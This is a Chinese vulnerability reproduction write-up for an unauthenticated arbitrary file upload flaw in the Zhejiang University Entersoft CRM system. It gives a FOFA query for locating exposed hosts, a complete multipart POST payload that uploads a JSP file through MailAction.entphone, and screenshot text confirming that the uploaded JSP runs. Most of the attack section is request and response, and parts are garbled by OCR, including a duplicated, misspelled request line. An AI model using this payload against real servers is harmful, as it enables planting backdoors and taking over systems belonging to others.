# Z1-7浙大恩特-客户资源管理系统-文件上传

### 漏洞描述:

浙大恩特客户资源管理系统中fileupload.jsp、CustomerAction.entphone、MailAction.entphone、machord\_doc.jsp等接口处存在<u>文件上传漏洞</u>,未经身份认证的攻击者可以上传任意后门文件,最终可导 致服务器失陷。

#### 网站图片:



## 网络测绘:

#### fofa语法:

FOFA: app="浙大恩特客户资源管理系统"

## 漏洞复现:

#### payload:

```
POST /entsoft/MailAction.entphone;.js?act=saveAttaFile HTTP/1.1
FOST /entsort/MailAction.entphone;.js?act=saveAttaFile HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh:q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
-----WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file";filename="3.jsp"
Content-Type: image/jpeg
 <%out.print("test");%>
                WebKitFormBoundarye8FPHsIAq9JN8j2A--
```

### 效果图:

```
〈 〉 数据包扫描 热加载 构造请求 🐰
                                                                                                                                                                                                 Responses 227bytes / 65ms
                                                                                                                                                                                                                                                                                      羊化 渲染 法输入会价值成
Request
                                                                                                                                                                                                         HTTP/1.1:200-0K
Server: Apache-Coyote/1.1
X-Powered-By: Servlet/3.0; JBossAS-6
Set-Cookie: JSESS/DINIP-983883469771A669191EE88285DC7C42; Path=/entsoft
X-UA-Compatible: IE-EmulateIE7
         POST /entsoft/MailAction.entphone;.js?act=saveAttaFile HTTP/1.1
            105.0.8.0°Safari/S37.36
Accept: 'text/html.application/xhtml-xml,application/xml;q-0.9,image/avif,image/webp,image/apng,*/*;
q-0.8,application/signed exchange;v-b3;q-0.9
Accept-Encoding: gzip, 'deflate
Accept-Language: 1:h.Cli, th;q-0.9
Content-Type: 'multipart/form-data; 'boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
                                                                                                                                                                                                             Content-Type: 'text/html; charset-utf-8
Date: 'Fri, '17'Nov' 2023 '10:39:37'GMT
Content-Length: '227
                                                                                                                                                                                                             {"visitRoot":"http://null_enterdoc/EnterMail/20231117/2023111718393783974019577/3.js
"fileName":"3.jsp","path":"D:/Entsoft/enterdoc.war/EnterMail/20231117/
2023111718393783974019577/3.jsp","isImage":false,"msg":"上传成功"}
           -----WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form.data; name="file";filename="3.jsp"
Content-Type: image/jpeg
           <%out.print("test");%>
-----WebKitFormBoundar
                                              ndarve8FPHsIAg9JN8i2A--
```

回显了上传路径

验证

← → C ▲ 不安全 I M 10 10 11 11:6060/enterdoc/EnterMail/20231117/2023111718393783974019577/3.jsp

test